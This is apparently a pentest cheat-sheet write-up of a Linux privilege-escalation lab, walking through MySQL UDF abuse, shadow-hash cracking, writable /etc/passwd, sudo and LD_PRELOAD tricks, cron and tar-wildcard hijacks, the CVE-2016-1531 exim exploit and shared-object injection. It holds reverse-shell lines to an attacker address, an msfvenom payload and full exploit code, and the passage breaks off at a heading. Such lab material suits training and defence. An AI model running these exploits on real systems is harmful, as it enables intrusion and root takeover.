Linux_PrivEsc

Variable	Value
Remote IP	10.10.56.56
Local IP	10.4.70.23
Local listen port	80

Credentials

- ssh
  - user:password321

SSH - 22

- [x] login

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "HostKeyAlgorithms=+ssh-dss" user@10.10.197.221 -p 22
Warning: Permanently added '10.10.197.221' (DSA) to the list of known hosts.
user@10.10.197.221's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$ id
uid=1000(user) gid=1000(user)
groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

```

Linux Privilege Escalation

Variable	Value
Remote IP	10.10.56.56
Local IP	10.4.70.23
Local listen port	80

```
nc -lvp 80
```

Service Exploits

Compile the `raptor_udf2.c` exploit code.

```
user@debian:~$ cd /home/user/tools/mysql-udf/
user@debian:~/tools/mysql-udf$ ls
raptor_udf2.c
user@debian:~/tools/mysql-udf$ gcc -g -c raptor_udf2.c -fPIC
user@debian:~/tools/mysql-udf$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o
raptor_udf2.so raptor_udf2.o -lc

```

Connect to the MySQL service as the root user with a blank password.

```
user@debian:~/tools/mysql-udf$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.1.73-1+deb6u1 (Debian)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input
statement.

mysql>

```

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) `do_system` using our compiled exploit:

```
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/home/user/tools/mysql-
udf/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile
'/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 row affected (0.00 sec)

```

Use the function to copy `/bin/bash` to `/tmp/rootbash` and set the SUID permission:

```
mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs
/tmp/rootbash');
+-------------------------------------------------------------------+
| do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash') |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (0.00 sec)

```

Exit out of the MySQL shell and run the `/tmp/rootbash` executable with `-p` to gain a shell running with root privileges:

```
mysql> exit
Bye
user@debian:~/tools/mysql-udf$ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)

```

Weak File Permissions - Readable /etc/shadow

Note that the `/etc/shadow` file on the VM is world-readable:

```
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

```

View the contents of the `/etc/shadow` file:

```
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET.
.it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
```

```
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

```

Save the root user's hash to a file called `hash.txt` on your Kali and use `john the ripper` to crack it.

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ cat hash.txt
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
1g 0:00:00:00 DONE (2022-06-28 01:45) 5.263g/s 16168p/s 16168c/s 16168C/s 123456..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Switch to the root user, using the cracked password:

```
user@debian:~$ su root
Password:password123
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Weak File Permissions - Writable /etc/shadow

Note that the `/etc/shadow` file on the VM is world-writable:

```
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

```

Generate a new password hash with a password of your choice:

```
user@debian:~$ mkpasswd -m sha-512 newpasswordhere
$6$D8kLoKhHYZ6$W.Xv/TwlT6OmyhSTUc7gqFSwXKw2AbDCBoYxEDq24bck8kz6Ohn3HEJQ6yEwc8FOIAnxj.gnA2/LLDtRb40hP0

```

Edit the `/etc/shadow` file and replace the original root user's password hash with the one you just generated.

```
user@debian:~$ cat /etc/shadow
root:$6$D8kLoKhHYZ6$W.Xv/TwlT6OmyhSTUc7gqFSwXKw2AbDCBoYxEDq24bck8kz6Ohn3HEJQ6yEwc8FOIAnxj.gnA2/LLDtRb40hP0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

```

Switch to the root user, using the new password:

```
user@debian:~$ su root
Password:newpasswordhere
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Weak File Permissions - Writable /etc/passwd

Note that the `/etc/passwd` file is world-writable:

```
user@debian:~$ ls -l /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25  2019 /etc/passwd

```

Generate a new password hash with a password of your choice:

```
user@debian:~$ openssl passwd newpass
dUHO.hDJHSA7k

```

Edit the `/etc/passwd` file and place the generated password hash between the first and second colon `:` of the root user's row (replacing the "x").

```

```

```
user@debian:~$ cat /etc/passwd
root:dUHO.hDJHSA7k:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false

```

Switch to the root user, using the new password:

```
user@debian:~$ su root
Password:newpass
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

```
user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
newroot:dUHO.hDJHSA7k:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
```

```
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false

```

Switch to the newroot user, using the new password:

```
user@debian:~$ su newroot
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Sudo - Shell Escape Sequences

List the programs which sudo allows your user to run:

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

```

Visit GTFOBins and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

```
user@debian:~$ sudo nmap --interactive

Starting Nmap V. 5.00 ( http://nmap.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)

```

Sudo - Environment Variables

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the `env_keep` options):

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

```

Create a shared object using the code located at /home/user/tools/sudo/preload.c:

```
user@debian:~$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so
/home/user/tools/sudo/preload.c

```

Run one of the programs you are allowed to run via sudo, while setting the `LD_PRELOAD` environment variable to the full path of the new shared object:

```
user@debian:~$ sudo LD_PRELOAD=/tmp/preload.so more
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Run `ldd` against the apache2 program file to see which shared libraries are used by the program:

```
user@debian:~$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =>  (0x00007fff005ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3
(0x00007fc577ff0000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fc577dcc000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007fc577b92000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007fc577976000)
        libc.so.6 => /lib/libc.so.6 (0x00007fc57760a000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007fc577405000)
        librt.so.1 => /lib/librt.so.1 (0x00007fc5771fd000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fc576fc6000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007fc576dc1000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fc576b99000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc5784ad000)

```

Create a shared object with the same name as one of the listed libraries using the code located at /home/user/tools/sudo/library_path.c:

```
user@debian:~$ gcc -fPIC -shared -o /tmp/libcrypt.so.1
/home/user/tools/sudo/library_path.c

```

Run apache2 using sudo, while setting the `LD_LIBRARY_PATH` environment variable to `/tmp` (where we output the compiled shared object):

```
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by
/usr/lib/libaprutil-1.so.0)
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Try renaming `/tmp/libcrypt.so.1` to the name of another library used by apache2 and re-run apache2 using sudo again.

```
user@debian:~$ gcc -fPIC -shared -o /tmp/libpcre.so.3
/home/user/tools/sudo/library_path.c
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: symbol lookup error: apache2: undefined symbol: pcre_free

```

Probably in the runtime, there is a call to `pcre_free` that suppose to be in `libpcre.so.3`.

```
user@debian:~$ echo "int pcre_free;" >> /home/user/tools/sudo/library_path.c
user@debian:~$ gcc -fPIC -shared -o /tmp/libpcre.so.3
/home/user/tools/sudo/library_path.c
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

```

Cron Jobs - File Permissions

View the contents of the system-wide crontab:

```
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.daily )
```

```
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

```

There should be two cron jobs scheduled to run every minute. One runs `overwrite.sh`, the other runs `/usr/local/bin/compress.sh`.

Locate the full path of the `overwrite.sh` file:

```
user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 774.9 days)
/usr/local/bin/overwrite.sh

```

Note that the file is world-writable:

```
user@debian:~$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13  2017 /usr/local/bin/overwrite.sh

```

Replace the contents of the `overwrite.sh` file with the following after changing the IP address to that of your Kali box.

```
user@debian:~$ cat /usr/local/bin/overwrite.sh
#!/bin/bash
bash -i >& /dev/tcp/10.4.70.23/80 0>&1

```

Set up a netcat listener on your Kali box on port 80 and wait for the cron job to run. A root shell should connect back to your netcat listener.

```
┌──(l3ickey👻kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.4.70.23] from (UNKNOWN) [10.10.206.209] 48509
bash: no job control in this shell
root@debian:~# id
id
uid=0(root) gid=0(root) groups=0(root)

```

Cron Jobs - PATH Environment Variable

View the contents of the system-wide crontab:

```
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
```

```
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

```

Note that the `PATH` variable starts with `/home/user` which is our user's home directory.

Create a file called `overwrite.sh` in your home directory with the following contents:

```
user@debian:~$ pwd
/home/user
user@debian:~$ vi overwrite.sh
user@debian:~$ cat overwrite.sh
#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

```

Make sure that the file is executable:

```
user@debian:~$ chmod +x /home/user/overwrite.sh
user@debian:~$ ls -l
total 12
-rw-r--r-- 1 user user  212 May 15  2017 myvpn.ovpn
-rwxr-xr-x 1 user user   64 Jul  8 05:11 overwrite.sh
drwxr-xr-x 8 user user 4096 May 15  2020 tools

```

Wait for the cron job to run (should not take longer than a minute). Run the `/tmp/rootbash` command with `-p` to gain a shell running with root privileges:

```
user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

```

Cron Jobs - Wildcards

View the contents of the other cron job script:

```
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

user@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

```

Note that the `tar` command is being run with a wildcard `*` in your home directory.

Take a look at the GTFOBins page for tar. Note that `tar` has command line options that let you run other commands as part of a checkpoint feature.

Use `msfvenom` on your Kali box to generate a reverse shell ELF binary. Update the `LHOST` IP address accordingly:

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.4.70.23 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf

```

Transfer the `shell.elf` file to `/home/user` on the Debian VM. Make sure the file is executable:

```
┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ ls
Linux_PrivEsc.md  hash.txt  shell.elf

┌──(l3ickey🎃kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

```

```
user@debian:~$ wget http://10.4.70.23:8000/shell.elf
--2022-07-08 05:42:00--  http://10.4.70.23:8000/shell.elf
Connecting to 10.4.70.23:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: “shell.elf”

100%
[==========================================================================
==>] 194         --.-K/s   in 0s

2022-07-08 05:42:00 (513 KB/s) - “shell.elf” saved [194/194]

user@debian:~$ chmod +x /home/user/shell.elf
user@debian:~$ ls -l
total 12
-rw-r--r-- 1 user user  212 May 15  2017 myvpn.ovpn
-rwxr-xr-x 1 user user  194 Jul  8 05:41 shell.elf
drwxr-xr-x 8 user user 4096 May 15  2020 tools

```

Create these two files in `/home/user`:

```
user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf
user@debian:~$ ls
--checkpoint=1  --checkpoint-action=exec=shell.elf  myvpn.ovpn  shell.elf
tools

```

When the `tar` command in the cron job runs, the wildcard `*` will expand to include these files. Since their filenames are valid `tar` command line options, `tar` will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your Kali box on port `4444` and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

```
┌──(l3ickey🧐kali)-[~/l3ickey/pentest-cheat-sheet/thm/Linux_PrivEsc]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.4.70.23] from (UNKNOWN) [10.10.25.164] 35212
id
uid=0(root) gid=0(root) groups=0(root)

```

SUID / SGID Executable - Known Exploits

Find all the SUID/SGID executables on the Debian VM:

```
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs

```

Note that `/use/sbin/exim-4.84-3` appears in the results. Try to find a known exploit for this version of exim. Exploit-DB, Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at `/home/user/tools/suid/exim/cve-2016-1531.sh` .

```
user@debian:~$ cat tools/suid/exim/cve-2016-1531.sh
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
```

```
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

```

Run the exploit script to gain a root shell:

```
user@debian:~$ ./tools/suid/exim/cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid=0(root) gid=1000(user) groups=0(root)

```

SUID / SGID Executables - Shared Object Injection

The `/usr/local/bin/suid-so` SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

```
user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
[========================================================================>] 99 %
Done.

```

Run `strace` on the file and search the output for open/access calls and for "no such file" errors:

```
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
```

```
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or
directory)

```

Note that the executable tries to load the `/home/user/.config/libcalc.so` shared object within our home directory, but it cannot be found.

Create the `.confg` directory for the `libcalc.so` file:

```
user@debian:~$ mkdir /home/user/.config

```

Example shared object code can be found at `/home/user/tools/suid/libcalc.c`.

```
user@debian:~$ cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

```

It simply spawns a Bash shell. Compile the code into a shared object at the location the `suid-so` executable was looking for it:

```
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so
/home/user/tools/suid/libcalc.c
user@debian:~$ ls -l /home/user/.config/
total 8
-rwxr-xr-x 1 user user 6134 Jul 12 06:45 libcalc.so

```

Execute the `suid-so` executable again, and note that this time, instead of a progress bar, we get a root shell.

```
user@debian:~$ /usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1
000(user)

```

SUID / SGID Executables - Environment Variables

